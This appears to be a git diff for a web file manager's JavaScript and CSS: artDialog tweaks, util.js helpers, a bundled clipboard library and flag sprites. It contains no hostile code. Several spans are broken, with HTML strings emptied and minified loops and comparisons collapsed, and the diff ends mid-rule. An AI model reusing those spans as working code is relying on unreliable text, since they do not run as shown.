+ if(index > depth ){ + delete parents[index]; + } + } + parentChar.push(value.trim());// { (// add by warlee;当前代码块类型入栈 + parentChar.pop();//出栈 + if( value.match(/\)/g) && preToken && preToken.type != 'comment'){ + // code = code.trimRight(); + // spaceAfter = false; + } + } + if(token && token.type == 'comment.doc' && value.substr(0,1) == '*'){ + value = ' '+value; + } + //console.log(7878,value,token,preToken,indent,unindent,levels,parents,roundDepth,depth); + + if (spaceBefore && !breakBefore) { + trimLine(); + if (code.substr(-1) !== "\n"){ + code += " "; + } + } + //add by warlee;删除{、}前后多余的空白字符 + if( token && token.type == 'paren.lparen' && token.value == '{' && + preToken && preToken.type != 'comment'){ + // code = code.trimRight(); + // spaceAfter = false; + } + + code += value; + if (spaceAfter){ + code += " "; + } + + breakBefore = false; + spaceBefore = false; + spaceAfter = false; + if ((is(token, "tag-close") && (inBlock || blockTags.indexOf(tagName) !== -1)) || (is(token, "doctype") && value === ">")) { + if (inBlock && nextToken && nextToken.value === "" && singletonTags.indexOf(tagName) === -1){ + depth--; + } + row = curRow; + } + } + preToken = token; + token = nextToken; + //console.log(preToken,token); + } + code = code.trim(); + //code = code.replace(/\n{2,}/g,"\n\n");//去除多余空行 + session.doc.setValue(code); + }; + + exports.commands = [{ + name: "beautify", + exec: function(editor) { + exports.beautify(editor.session); + }, + bindKey: "Ctrl-Shift-B" + }]; +}); + +(function() { + ace.require(["ace/ext/beautify"], function(m) { + if (typeof module == "object" && typeof exports == "object" && module) { + module.exports = m; + } + }); +})(); \ No newline at end of file diff --git a/static/js/lib/artDialog/jquery-artDialog.js b/static/js/lib/artDialog/jquery-artDialog.js index 4b7839a..fe48723 100755 --- a/static/js/lib/artDialog/jquery-artDialog.js +++ b/static/js/lib/artDialog/jquery-artDialog.js @@ -152,7 +152,7 @@ var artDialog = function (config, ok, cancel) { //添加到任务栏 if (config && config.hasOwnProperty('title') && config['title'] !== false){ config.title = config.ico+config.title; - if (_count>=1) dialogList.add(config.id,config.title); + if (_count>=1 && !config.disableTab) dialogList.add(config.id,config.title); } var dialog = new artDialog.fn._init(config); artDialog.list[config.id] = dialog; @@ -176,6 +176,7 @@ artDialog.fn = artDialog.prototype = { if (config.resize && config.title != false) { DOM.wrap.addClass('dialog-can-resize'); } + DOM.wrap.find('.aui-content').addClass('can-select'); if($.isIE8()){ config.animate = false; @@ -244,6 +245,13 @@ artDialog.fn = artDialog.prototype = { _titleBarHeight = DOM.title.css('height'); _titleBarHeight = _titleBarHeight.replace('px',''); $(DOM.wrap).find('iframe').focus(); + + var $iframe = $(DOM.wrap).find('iframe'); + $iframe.attr('allowTransparency', true) + .attr('allowfullscreen','true') + .attr('webkitallowfullscreen','true') + .attr('mozallowfullscreen','true') + bindTouchDrag($(DOM.wrap)); return that; }, @@ -288,11 +296,19 @@ artDialog.fn = artDialog.prototype = { if($frame.length>0){ //$frame.get(0).src = "http://baidu.com"; $content.append('
          loading..
          '); + DOM.wrap.find(".aui-loading").css({'top':DOM.wrap.find('.aui-title').height()/2 }); + $frame.css('display','none'); $frame.load(function(){ - $content.find('.aui-loading').fadeOut(600); + $content.find('.aui-loading').fadeOut(600).remove(); + $frame.get(0).style.cssText = 'left:0;top:0;width:100%;height:100%;border:none'; that.resetTitleLength(); }); + //iframe 持续未加载完成处理 + setTimeout(function(){ + DOM.content.find('.aui-loading').fadeOut(600).remove(); + $frame.get(0).style.cssText = 'left:0;top:0;width:100%;height:100%;border:none'; + },500); $frame.fadeIn(300); } } else if (msg && msg.nodeType === 1) { @@ -679,26 +695,29 @@ artDialog.fn = artDialog.prototype = { }else{//隐藏 if ($wrap.css('visibility') == 'hidden') return this; - var toWidth = 0; - var toLeft = 0; - var toTop = $(window).height(); + var toWidth = $wrap.outerWidth()*0.8; + var toLeft = -1; + var toTop = -1; if ($(".task-tab #"+that.config.id).exists()){ var $taskTab = $(".task-tab #"+that.config.id); - toWidth = $taskTab.outerWidth() + toWidth = $taskTab.outerWidth(); toLeft = $taskTab.offset().left; toTop = $taskTab.offset().top; } var scale = toWidth / $wrap.outerWidth(); + var animateCss = { + 'transform': 'scale('+scale+','+scale+')', + 'opacity':0 + }; $wrap.data('initSize',{ left: $wrap.context.offsetLeft, top: $wrap.context.offsetTop }); - $wrap.css({ - 'left':toLeft - (1-scale)*$wrap.outerWidth()/2, - 'top':toTop - (1-scale)*$wrap.outerHeight()/2, - 'transform': 'scale('+scale+','+scale+')', - 'opacity':0 - }).animate({},{duration:animateTime,complete:function(){ + if(toLeft != -1 || toTop != -1){ + animateCss.left = toLeft - (1-scale)*$wrap.outerWidth()/2; + animateCss.top = toTop - (1-scale)*$wrap.outerHeight()/2; + } + $wrap.css(animateCss).animate({},{duration:animateTime,complete:function(){ $wrap.css({visibility:'hidden'}); }}); } @@ -766,6 +785,11 @@ artDialog.fn = artDialog.prototype = { /** 关闭对话框 */ close: function () { + var beforeFn = this.config.closeBefore; + if (typeof beforeFn === 'function' && beforeFn.call(this, window) === false) {//关闭前调用 + return false; + } + if (this.closed) return this; var that = this, DOM = that.DOM, @@ -1392,6 +1416,7 @@ artDialog.defaults = { left: '50%', // X轴坐标 top: '38.2%', // Y轴坐标 zIndex: 300, // 对话框叠加高度值(重要:此值不能超过浏览器最大限制) + disableTab:false, // 默认显示任务栏 animate:true, //对话框打开关闭、显示隐藏、最大化最小化动画是否显示 ico:'',//默认标题小图标 @@ -1847,6 +1872,7 @@ artDialog.open = function (url, options, cache) { $main = DOM.main; $content = DOM.content; DOM.content.append('
          loading..
          '); + DOM.wrap.find(".aui-loading").css({'top':DOM.wrap.find('.aui-title').height()/2 }); iframe = api.iframe = top.document.createElement('iframe'); iframe.src = url; @@ -1871,6 +1897,11 @@ artDialog.open = function (url, options, cache) { } catch (e) {}; $iframe.one('load', load); //$frame.css('display','none'); + //iframe 持续未加载完成处理 + setTimeout(function(){ + DOM.content.find('.aui-loading').fadeOut(600).remove(); + $iframe.get(0).style.cssText = 'left:0;top:0;width:100%;height:100%;border:none'; + },500); }, close: function () { $iframe.css('display', 'none').unbind('load', load); diff --git a/static/js/lib/jquery-lib.js b/static/js/lib/jquery-lib.js index 8c513f6..af321f5 100755 --- a/static/js/lib/jquery-lib.js +++ b/static/js/lib/jquery-lib.js @@ -5,7 +5,10 @@ (function($){var escape=/["\\\x00-\x1f\x7f-\x9f]/g,meta={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},hasOwn=Object.prototype.hasOwnProperty;$.toJSON=typeof JSON==="object"&&JSON.stringify?JSON.stringify:function(o){if(o===null){return"null"}var pairs,k,name,val,type=$.type(o);if(type==="undefined"){return undefined}if(type==="number"||type==="boolean"){return String(o)}if(type==="string"){return $.quoteString(o)}if(typeof o.toJSON==="function"){return $.toJSON(o.toJSON())}if(type==="date"){var month=o.getUTCMonth()+1,day=o.getUTCDate(),year=o.getUTCFullYear(),hours=o.getUTCHours(),minutes=o.getUTCMinutes(),seconds=o.getUTCSeconds(),milli=o.getUTCMilliseconds();if(month<10){month="0"+month}if(day<10){day="0"+day}if(hours<10){hours="0"+hours}if(minutes<10){minutes="0"+minutes}if(seconds<10){seconds="0"+seconds}if(milli<100){milli="0"+milli}if(milli<10){milli="0"+milli}return'"'+year+"-"+month+"-"+day+"T"+hours+":"+minutes+":"+seconds+"."+milli+'Z"'}pairs=[];if($.isArray(o)){for(k=0;k0&&void 0!==arguments[0]?arguments[0]:{};this.action=t.action,this.container=t.container,this.emitter=t.emitter,this.target=t.target,this.text=t.text,this.trigger=t.trigger,this.selectedText=""}},{key:"initSelection",value:function(){this.text?this.selectFake():this.target&&this.selectTarget()}},{key:"selectFake",value:function(){var t=this,e="rtl"==document.documentElement.getAttribute("dir");this.removeFake(),this.fakeHandlerCallback=function(){return t.removeFake()},this.fakeHandler=this.container.addEventListener("click",this.fakeHandlerCallback)||!0,this.fakeElem=document.createElement("textarea"),this.fakeElem.style.fontSize="12pt",this.fakeElem.style.border="0",this.fakeElem.style.padding="0",this.fakeElem.style.margin="0",this.fakeElem.style.position="absolute",this.fakeElem.style[e?"right":"left"]="-9999px";var n=window.pageYOffset||document.documentElement.scrollTop;this.fakeElem.style.top=n+"px",this.fakeElem.setAttribute("readonly",""),this.fakeElem.value=this.text,this.container.appendChild(this.fakeElem),this.selectedText=(0,o.Default)(this.fakeElem),this.copyText()}},{key:"removeFake",value:function(){this.fakeHandler&&(this.container.removeEventListener("click",this.fakeHandlerCallback),this.fakeHandler=null,this.fakeHandlerCallback=null),this.fakeElem&&(this.container.removeChild(this.fakeElem),this.fakeElem=null)}},{key:"selectTarget",value:function(){this.selectedText=(0,o.Default)(this.target),this.copyText()}},{key:"copyText",value:function(){var t=void 0;try{t=document.execCommand(this.action)}catch(e){t=!1}this.handleResult(t)}},{key:"handleResult",value:function(t){this.emitter.emit(t?"success":"error",{action:this.action,text:this.selectedText,trigger:this.trigger,clearSelection:this.clearSelection.bind(this)})}},{key:"clearSelection",value:function(){this.trigger&&this.trigger.focus(),window.getSelection().removeAllRanges()}},{key:"destroy",value:function(){this.removeFake()}},{key:"action",set:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"copy";if(this._action=t,"copy"!==this._action&&"cut"!==this._action)throw new Error('Invalid "action" value, use either "copy" or "cut"')},get:function(){return this._action}},{key:"target",set:function(t){if(void 0!==t){if(!t||"object"!==(void 0===t?"undefined":r(t))||1!==t.nodeType)throw new Error('Invalid "target" value, use a valid Element');if("copy"===this.action&&t.hasAttribute("disabled"))throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');if("cut"===this.action&&(t.hasAttribute("readonly")||t.hasAttribute("disabled")))throw new Error('Invalid "target" attribute. You can\'t cut text from elements with "readonly" or "disabled" attributes');this._target=t}},get:function(){return this._target}}]),t}();t.exports=a})},function(t,e,n){function o(t,e,n){if(!t&&!e&&!n)throw new Error("Missing required arguments");if(!c.string(e))throw new TypeError("Second argument must be a String");if(!c.fn(n))throw new TypeError("Third argument must be a Function");if(c.node(t))return r(t,e,n);if(c.nodeList(t))return i(t,e,n);if(c.string(t))return a(t,e,n);throw new TypeError("First argument must be a String, HTMLElement, HTMLCollection, or NodeList")}function r(t,e,n){return t.addEventListener(e,n),{destroy:function(){t.removeEventListener(e,n)}}}function i(t,e,n){return Array.prototype.forEach.call(t,function(t){t.addEventListener(e,n)}),{destroy:function(){Array.prototype.forEach.call(t,function(t){t.removeEventListener(e,n)})}}}function a(t,e,n){return u(document.body,t,e,n)}var c=n(6),u=n(5);t.exports=o},function(t,e){function n(){}n.prototype={on:function(t,e,n){var o=this.e||(this.e={});return(o[t]||(o[t]=[])).push({fn:e,ctx:n}),this},once:function(t,e,n){function o(){r.off(t,o),e.apply(n,arguments)}var r=this;return o._=e,this.on(t,o,n)},emit:function(t){var e=[].slice.call(arguments,1),n=((this.e||(this.e={}))[t]||[]).slice(),o=0,r=n.length;for(o;o0&&void 0!==arguments[0]?arguments[0]:{};this.action="function"==typeof t.action?t.action:this.defaultAction,this.target="function"==typeof t.target?t.target:this.defaultTarget,this.text="function"==typeof t.text?t.text:this.defaultText,this.container="object"===d(t.container)?t.container:document.body}},{key:"listenClick",value:function(t){var e=this;this.listener=(0,f.Default)(t,"click",function(t){return e.onClick(t)})}},{key:"onClick",value:function(t){var e=t.delegateTarget||t.currentTarget;this.clipboardAction&&(this.clipboardAction=null),this.clipboardAction=new l.Default({action:this.action(e),target:this.target(e),text:this.text(e),container:this.container,trigger:e,emitter:this})}},{key:"defaultAction",value:function(t){return u("action",t)}},{key:"defaultTarget",value:function(t){var e=u("target",t);if(e)return document.querySelector(e)}},{key:"defaultText",value:function(t){return u("text",t)}},{key:"destroy",value:function(){this.listener.destroy(),this.clipboardAction&&(this.clipboardAction.destroy(),this.clipboardAction=null)}}],[{key:"isSupported",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:["copy","cut"],e="string"==typeof t?[t]:t,n=!!document.queryCommandSupported;return e.forEach(function(t){n=n&&!!document.queryCommandSupported(t)}),n}}]),e}(s.Default);t.exports=p})},function(t,e){function n(t,e){for(;t&&t.nodeType!==o;){if("function"==typeof t.matches&&t.matches(e))return t;t=t.parentNode}}var o=9;if("undefined"!=typeof Element&&!Element.prototype.matches){var r=Element.prototype;r.matches=r.matchesSelector||r.mozMatchesSelector||r.msMatchesSelector||r.oMatchesSelector||r.webkitMatchesSelector}t.exports=n},function(t,e,n){function o(t,e,n,o,r){var a=i.apply(this,arguments);return t.addEventListener(n,a,r),{destroy:function(){t.removeEventListener(n,a,r)}}}function r(t,e,n,r,i){return"function"==typeof t.addEventListener?o.apply(null,arguments):"function"==typeof n?o.bind(null,document).apply(null,arguments):("string"==typeof t&&(t=document.querySelectorAll(t)),Array.prototype.map.call(t,function(t){return o(t,e,n,r,i)}))}function i(t,e,n,o){return function(n){n.delegateTarget=a(n.target,e),n.delegateTarget&&o.call(t,n)}}var a=n(4);t.exports=r},function(t,e){e.node=function(t){return void 0!==t&&t instanceof HTMLElement&&1===t.nodeType},e.nodeList=function(t){var n=Object.prototype.toString.call(t);return void 0!==t&&("[object NodeList]"===n||"[object HTMLCollection]"===n)&&"length"in t&&(0===t.length||e.node(t[0]))},e.string=function(t){return"string"==typeof t||t instanceof String},e.fn=function(t){return"[object Function]"===Object.prototype.toString.call(t)}},function(t,e){function n(t){var e;if("SELECT"===t.nodeName)t.focus(),e=t.value;else if("INPUT"===t.nodeName||"TEXTAREA"===t.nodeName){var n=t.hasAttribute("readonly");n||t.setAttribute("readonly",""),t.select(),t.setSelectionRange(0,t.value.length),n||t.removeAttribute("readonly"),e=t.value}else{t.hasAttribute("contenteditable")&&t.focus();var o=window.getSelection(),r=document.createRange();r.selectNodeContents(t),o.removeAllRanges(),o.addRange(r),e=o.toString()}return e}t.exports=n}])}); +} + /*! * Bootstrap v3.0.3 (http://getbootstrap.com) * Copyright 2013 Twitter, Inc. diff --git a/static/js/lib/util.js b/static/js/lib/util.js index 6369f02..66e59fa 100755 --- a/static/js/lib/util.js +++ b/static/js/lib/util.js @@ -36,6 +36,16 @@ var roundFromTo = function(from,to){//生成from到to的随机数;整数,包 var react = to - from; return Math.ceil(Math.random()*react+from); } +var roundString = function(len){ + var result = ""; + var charArr = '01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; + len = len || 5; + for (var i = 0; i < len; i++) { + var index = roundFromTo(0,charArr.length) - 1; + result += charArr.charAt(index); + } + return result; +} var md5 = function(str){ return CryptoJS.MD5(str).toString(); } @@ -82,8 +92,16 @@ var quoteEncode = function(str){ str = str.replace(/(['"])/g,'\\$1'); return str; } +var strAdd=function(str,add){ + add=add==undefined?1:add; + var res=''; + for(var i=0;ib?1:(a==b?0:-1); } - var re = /([0-9\.]+)/g, // /(-?[0-9\.]+)/g, 负数 2016-11-09 2016-11-10歧义 x = a.toString().toLowerCase() || '', y = b.toString().toLowerCase() || '', @@ -867,6 +890,17 @@ var Tips = (function(){ } })(); +if($.artDialog){ + $.artDialog.loading = function(msg){ + msg = msg || LNG.loading || 'loading...'; + return $.artDialog({ + title:false, + content:"

          "+msg+"
          ", + padding:'10px 0px' + }); + } +} + var Title = (function(){ var oldTitle = document.title; var reset = function(){ @@ -1155,7 +1189,31 @@ var MaskView = (function(){ } })(); - +(function(w){ + if(/msie|applewebkit.+safari/i.test(w.navigator.userAgent)){ + var _sort = Array.prototype.sort; + Array.prototype.sort = function(fn){ + if(!!fn && typeof fn === 'function'){ + if(this.length < 2) return this; + var i = 0, j = i + 1, l = this.length, tmp, r = false, t = 0; + for(; i < l; i++){ + for(j = i + 1; j < l; j++){ + t = fn.call(this, this[i], this[j]); + r = (typeof t === 'number' ? t : !!t ? 1 : 0) > 0 ? true : false; + if(r){ + tmp = this[i]; + this[i] = this[j]; + this[j] = tmp; + } + } + } + return this; + } else { + return _sort.call(this); + } + }; + } +})(window); //textarea自适应高度 (function($){ $.fn.exists = function(){ @@ -1397,6 +1455,7 @@ var MaskView = (function(){ }; var port = result.port ? ':'+result.port:''; result.url = result.protocol + '://' + result.host + port + result.path + result.query; + result.origin = result.protocol + '://' + result.host + port; return result; } @@ -1430,7 +1489,7 @@ var MaskView = (function(){ $.addStyle = function(cssText){ var head = document.getElementsByTagName('head')[0] ||document.documentElement; var id = 'add-style-css-text'; - var element = $('#'+id).get(0); + var element = document.getElementById(id); if(!element){ element = document.createElement('style'); element.id = 'add-style-css-text'; @@ -1457,6 +1516,22 @@ var MaskView = (function(){ document.body.removeChild(ifr); } } + $.printLink = function(link){ + var $iframe = $('#page-print'); + if ($iframe.length > 0) { + $iframe.remove(); + } + $('').appendTo('body'); + var iframe = $('#page-print').get(0); + iframe.onload = function() { + iframe.contentWindow.focus(); + iframe.contentWindow.print(); + iframe.contentWindow.blur(); + window.focus(); + }; + if (link) iframe.src = link; + } + //是否为ie ie6~11 $.isIE = function(){ return !!(window.ActiveXObject || "ActiveXObject" in window); @@ -1982,105 +2057,105 @@ functionHooks.initEnv(); * */ window.Messenger = (function(){ - // 消息前缀, 建议使用自己的项目名, 避免多项目之间的冲突 - var prefix = "[PROJECT_NAME]", - supportPostMessage = 'postMessage' in window; + // 消息前缀, 建议使用自己的项目名, 避免多项目之间的冲突 + var prefix = "[PROJECT_NAME]", + supportPostMessage = 'postMessage' in window; - // Target 类, 消息对象 - function Target(target, name){ - var errMsg = ''; - if(arguments.length < 2){ - errMsg = 'target error - target and name are both requied'; - } else if (typeof target != 'object'){ - errMsg = 'target error - target itself must be window object'; - } else if (typeof name != 'string'){ - errMsg = 'target error - target name must be string type'; - } - if(errMsg){ - throw new Error(errMsg); - } - this.target = target; - this.name = name; - } + // Target 类, 消息对象 + function Target(target, name){ + var errMsg = ''; + if(arguments.length < 2){ + errMsg = 'target error - target and name are both requied'; + } else if (typeof target != 'object'){ + errMsg = 'target error - target itself must be window object'; + } else if (typeof name != 'string'){ + errMsg = 'target error - target name must be string type'; + } + if(errMsg){ + throw new Error(errMsg); + } + this.target = target; + this.name = name; + } - // 往 target 发送消息, 出于安全考虑, 发送消息会带上前缀 - if ( supportPostMessage ){ - // IE8+ 以及现代浏览器支持 - Target.prototype.send = function(msg){ - this.target.postMessage(prefix + msg, '*'); - }; - } else { - // 兼容IE 6/7 - Target.prototype.send = function(msg){ - var targetFunc = window.navigator[prefix + this.name]; - if ( typeof targetFunc == 'function' ) { - targetFunc(prefix + msg, window); - } else { - throw new Error("target callback function is not defined"); - } - }; - } + // 往 target 发送消息, 出于安全考虑, 发送消息会带上前缀 + if ( supportPostMessage ){ + // IE8+ 以及现代浏览器支持 + Target.prototype.send = function(msg){ + this.target.postMessage(prefix + msg, '*'); + }; + } else { + // 兼容IE 6/7 + Target.prototype.send = function(msg){ + var targetFunc = window.navigator[prefix + this.name]; + if ( typeof targetFunc == 'function' ) { + targetFunc(prefix + msg, window); + } else { + throw new Error("target callback function is not defined"); + } + }; + } - // 信使类 - // 创建Messenger实例时指定, 必须指定Messenger的名字, (可选)指定项目名, 以避免Mashup类应用中的冲突 - // !注意: 父子页面中projectName必须保持一致, 否则无法匹配 - function Messenger(messengerName, projectName){ - this.targets = {}; - this.name = messengerName; - this.listenFunc = []; - prefix = projectName || prefix; - this.initListen(); - } + // 信使类 + // 创建Messenger实例时指定, 必须指定Messenger的名字, (可选)指定项目名, 以避免Mashup类应用中的冲突 + // !注意: 父子页面中projectName必须保持一致, 否则无法匹配 + function Messenger(messengerName, projectName){ + this.targets = {}; + this.name = messengerName; + this.listenFunc = []; + prefix = projectName || prefix; + this.initListen(); + } - // 添加一个消息对象 - Messenger.prototype.addTarget = function(target, name){ - var targetObj = new Target(target, name); - this.targets[name] = targetObj; - }; + // 添加一个消息对象 + Messenger.prototype.addTarget = function(target, name){ + var targetObj = new Target(target, name); + this.targets[name] = targetObj; + }; - // 初始化消息监听 - Messenger.prototype.initListen = function(){ - var self = this; - var generalCallback = function(msg){ - if(typeof msg == 'object' && msg.data){ - msg = msg.data; - } - // 剥离消息前缀 - msg = msg.slice(prefix.length); - for(var i = 0; i < self.listenFunc.length; i++){ - self.listenFunc[i](msg); - } - }; - if ( supportPostMessage ){ - if ( 'addEventListener' in document ) { - window.addEventListener('message', generalCallback, false); - } else if ( 'attachEvent' in document ) { - window.attachEvent('onmessage', generalCallback); - } - } else { - // 兼容IE 6/7 - window.navigator[prefix + this.name] = generalCallback; - } - }; - // 监听消息 - Messenger.prototype.listen = function(callback){ - this.listenFunc.push(callback); - }; - // 注销监听 - Messenger.prototype.clear = function(){ - this.listenFunc = []; - }; - // 广播消息 - Messenger.prototype.send = function(msg){ - var targets = this.targets, - target; - for(target in targets){ - if(targets.hasOwnProperty(target)){ - targets[target].send(msg); - } - } - }; - return Messenger; + // 初始化消息监听 + Messenger.prototype.initListen = function(){ + var self = this; + var generalCallback = function(msg){ + if(typeof msg == 'object' && msg.data){ + msg = msg.data; + } + // 剥离消息前缀 + msg = msg.slice(prefix.length); + for(var i = 0; i < self.listenFunc.length; i++){ + self.listenFunc[i](msg); + } + }; + if ( supportPostMessage ){ + if ( 'addEventListener' in document ) { + window.addEventListener('message', generalCallback, false); + } else if ( 'attachEvent' in document ) { + window.attachEvent('onmessage', generalCallback); + } + } else { + // 兼容IE 6/7 + window.navigator[prefix + this.name] = generalCallback; + } + }; + // 监听消息 + Messenger.prototype.listen = function(callback){ + this.listenFunc.push(callback); + }; + // 注销监听 + Messenger.prototype.clear = function(){ + this.listenFunc = []; + }; + // 广播消息 + Messenger.prototype.send = function(msg){ + var targets = this.targets, + target; + for(target in targets){ + if(targets.hasOwnProperty(target)){ + targets[target].send(msg); + } + } + }; + return Messenger; })(); @@ -2111,6 +2186,9 @@ var strtotime = function(datetime){ return parseInt(now.getTime()/1000); } var date = function(format, timestamp){ + if(format == undefined) format = "Y-m-d H:i:s"; + if(timestamp == undefined) timestamp = time(); + timestamp = parseInt(timestamp); var a, jsdate=((timestamp) ? new Date(timestamp*1000) : new Date()); var pad = function(n, c){ @@ -2460,9 +2538,13 @@ var Base64Server = (function(){ // public method for decoding var decode = function (encodedData) { var decodeUTF8string = function (str) { - return decodeURIComponent(str.split('').map(function (c) { - return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2) - }).join('')); + try { + return decodeURIComponent(str.split('').map(function (c) { + return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2) + }).join('')); + } catch (e) { + return str; + } } if (typeof window !== 'undefined') { if (typeof window.atob !== 'undefined') { diff --git a/static/style/font-awesome/css/font-awesome.css b/static/style/font-awesome/css/font-awesome.css index 019a84e..3367973 100755 --- a/static/style/font-awesome/css/font-awesome.css +++ b/static/style/font-awesome/css/font-awesome.css @@ -47,7 +47,7 @@ } -.lang-flag{display:inline-block;width:16px;height:11px;background:#ddd url(../font/flag.png) no-repeat;margin:0 4px 0 0}.lang-flag.flag-ad{background-position:-16px 0}.lang-flag.flag-ae{background-position:-32px 0}.lang-flag.flag-af{background-position:-48px 0}.lang-flag.flag-ag{background-position:-64px 0}.lang-flag.flag-ai{background-position:-80px 0}.lang-flag.flag-al{background-position:-96px 0}.lang-flag.flag-am{background-position:-112px 0}.lang-flag.flag-an{background-position:-128px 0}.lang-flag.flag-ao{background-position:-144px 0}.lang-flag.flag-ar{background-position:-160px 0}.lang-flag.flag-as{background-position:-176px 0}.lang-flag.flag-at{background-position:-192px 0}.lang-flag.flag-au{background-position:-208px 0}.lang-flag.flag-aw{background-position:-224px 0}.lang-flag.flag-az{background-position:-240px 0}.lang-flag.flag-ba{background-position:0 -11px}.lang-flag.flag-bb{background-position:-16px -11px}.lang-flag.flag-bd{background-position:-32px -11px}.lang-flag.flag-be{background-position:-48px -11px}.lang-flag.flag-bf{background-position:-64px -11px}.lang-flag.flag-bg{background-position:-80px -11px}.lang-flag.flag-bh{background-position:-96px -11px}.lang-flag.flag-bi{background-position:-112px -11px}.lang-flag.flag-bj{background-position:-128px -11px}.lang-flag.flag-bm{background-position:-144px -11px}.lang-flag.flag-bn{background-position:-160px -11px}.lang-flag.flag-bo{background-position:-176px -11px}.lang-flag.flag-br{background-position:-192px -11px}.lang-flag.flag-bs{background-position:-208px -11px}.lang-flag.flag-bt{background-position:-224px -11px}.lang-flag.flag-bv{background-position:-240px -11px}.lang-flag.flag-bw{background-position:0 -22px}.lang-flag.flag-by{background-position:-16px -22px}.lang-flag.flag-bz{background-position:-32px -22px}.lang-flag.flag-ca{background-position:-48px -22px}.lang-flag.flag-catalonia{background-position:-64px -22px}.lang-flag.flag-cd{background-position:-80px -22px}.lang-flag.flag-cf{background-position:-96px -22px}.lang-flag.flag-cg{background-position:-112px -22px}.lang-flag.flag-ch{background-position:-128px -22px}.lang-flag.flag-ci{background-position:-144px -22px}.lang-flag.flag-ck{background-position:-160px -22px}.lang-flag.flag-cl{background-position:-176px -22px}.lang-flag.flag-cm{background-position:-192px -22px}.lang-flag.flag-cn,.lang-flag.flag-zh-CN{background-position:-208px -22px}.lang-flag.flag-co{background-position:-224px -22px}.lang-flag.flag-cr{background-position:-240px -22px}.lang-flag.flag-cu{background-position:0 -33px}.lang-flag.flag-cv{background-position:-16px -33px}.lang-flag.flag-cw{background-position:-32px -33px}.lang-flag.flag-cy{background-position:-48px -33px}.lang-flag.flag-cz,.lang-flag.flag-cs{background-position:-64px -33px}.lang-flag.flag-de{background-position:-80px -33px}.lang-flag.flag-dj{background-position:-96px -33px}.lang-flag.flag-dk,.lang-flag.flag-da{background-position:-112px -33px}.lang-flag.flag-dm{background-position:-128px -33px}.lang-flag.flag-do{background-position:-144px -33px}.lang-flag.flag-dz{background-position:-160px -33px}.lang-flag.flag-ec{background-position:-176px -33px}.lang-flag.flag-ee{background-position:-192px -33px}.lang-flag.flag-eg{background-position:-208px -33px}.lang-flag.flag-eh{background-position:-224px -33px}.lang-flag.flag-england{background-position:-240px -33px}.lang-flag.flag-er{background-position:0 -44px}.lang-flag.flag-es{background-position:-16px -44px}.lang-flag.flag-et{background-position:-32px -44px}.lang-flag.flag-eu{background-position:-48px -44px}.lang-flag.flag-fi{background-position:-64px -44px}.lang-flag.flag-fj{background-position:-80px -44px}.lang-flag.flag-fk{background-position:-96px -44px}.lang-flag.flag-fm{background-position:-112px -44px}.lang-flag.flag-fo{background-position:-128px -44px}.lang-flag.flag-fr{background-position:-144px -44px}.lang-flag.flag-ga{background-position:-160px -44px}.lang-flag.flag-gb{background-position:-176px -44px}.lang-flag.flag-gd{background-position:-192px -44px}.lang-flag.flag-ge{background-position:-208px -44px}.lang-flag.flag-gf{background-position:-224px -44px}.lang-flag.flag-gg{background-position:-240px -44px}.lang-flag.flag-gh{background-position:0 -55px}.lang-flag.flag-gi{background-position:-16px -55px}.lang-flag.flag-gl{background-position:-32px -55px}.lang-flag.flag-gm{background-position:-48px -55px}.lang-flag.flag-gn{background-position:-64px -55px}.lang-flag.flag-gp{background-position:-80px -55px}.lang-flag.flag-gq{background-position:-96px -55px}.lang-flag.flag-gr,.lang-flag.flag-el{background-position:-112px -55px}.lang-flag.flag-gs{background-position:-128px -55px}.lang-flag.flag-gt{background-position:-144px -55px}.lang-flag.flag-gu{background-position:-160px -55px}.lang-flag.flag-gw{background-position:-176px -55px}.lang-flag.flag-gy{background-position:-192px -55px}.lang-flag.flag-hk{background-position:-208px -55px}.lang-flag.flag-hm{background-position:-224px -55px}.lang-flag.flag-hn{background-position:-240px -55px}.lang-flag.flag-hr{background-position:0 -66px}.lang-flag.flag-ht{background-position:-16px -66px}.lang-flag.flag-hu{background-position:-32px -66px}.lang-flag.flag-ic{background-position:-48px -66px}.lang-flag.flag-id{background-position:-64px -66px}.lang-flag.flag-ie{background-position:-80px -66px}.lang-flag.flag-il{background-position:-96px -66px}.lang-flag.flag-im{background-position:-112px -66px}.lang-flag.flag-in{background-position:-128px -66px}.lang-flag.flag-io{background-position:-144px -66px}.lang-flag.flag-iq{background-position:-160px -66px}.lang-flag.flag-ir,.lang-flag.flag-fa{background-position:-176px -66px}.lang-flag.flag-is{background-position:-192px -66px}.lang-flag.flag-it{background-position:-208px -66px}.lang-flag.flag-je{background-position:-224px -66px}.lang-flag.flag-jm{background-position:-240px -66px}.lang-flag.flag-jo{background-position:0 -77px}.lang-flag.flag-jp,.lang-flag.flag-ja{background-position:-16px -77px}.lang-flag.flag-ke{background-position:-32px -77px}.lang-flag.flag-kg{background-position:-48px -77px}.lang-flag.flag-kh{background-position:-64px -77px}.lang-flag.flag-ki{background-position:-80px -77px}.lang-flag.flag-km{background-position:-96px -77px}.lang-flag.flag-kn{background-position:-112px -77px}.lang-flag.flag-kp{background-position:-128px -77px}.lang-flag.flag-kr,.lang-flag.flag-ko{background-position:-144px -77px}.lang-flag.flag-kurdistan{background-position:-160px -77px}.lang-flag.flag-kw{background-position:-176px -77px}.lang-flag.flag-ky{background-position:-192px -77px}.lang-flag.flag-kz{background-position:-208px -77px}.lang-flag.flag-la{background-position:-224px -77px}.lang-flag.flag-lb{background-position:-240px -77px}.lang-flag.flag-lc{background-position:0 -88px}.lang-flag.flag-li{background-position:-16px -88px}.lang-flag.flag-lk{background-position:-32px -88px}.lang-flag.flag-lr{background-position:-48px -88px}.lang-flag.flag-ls{background-position:-64px -88px}.lang-flag.flag-lt{background-position:-80px -88px}.lang-flag.flag-lu{background-position:-96px -88px}.lang-flag.flag-lv{background-position:-112px -88px}.lang-flag.flag-ly{background-position:-128px -88px}.lang-flag.flag-ma{background-position:-144px -88px}.lang-flag.flag-mc{background-position:-160px -88px}.lang-flag.flag-md{background-position:-176px -88px}.lang-flag.flag-me{background-position:-192px -88px}.lang-flag.flag-mg{background-position:-208px 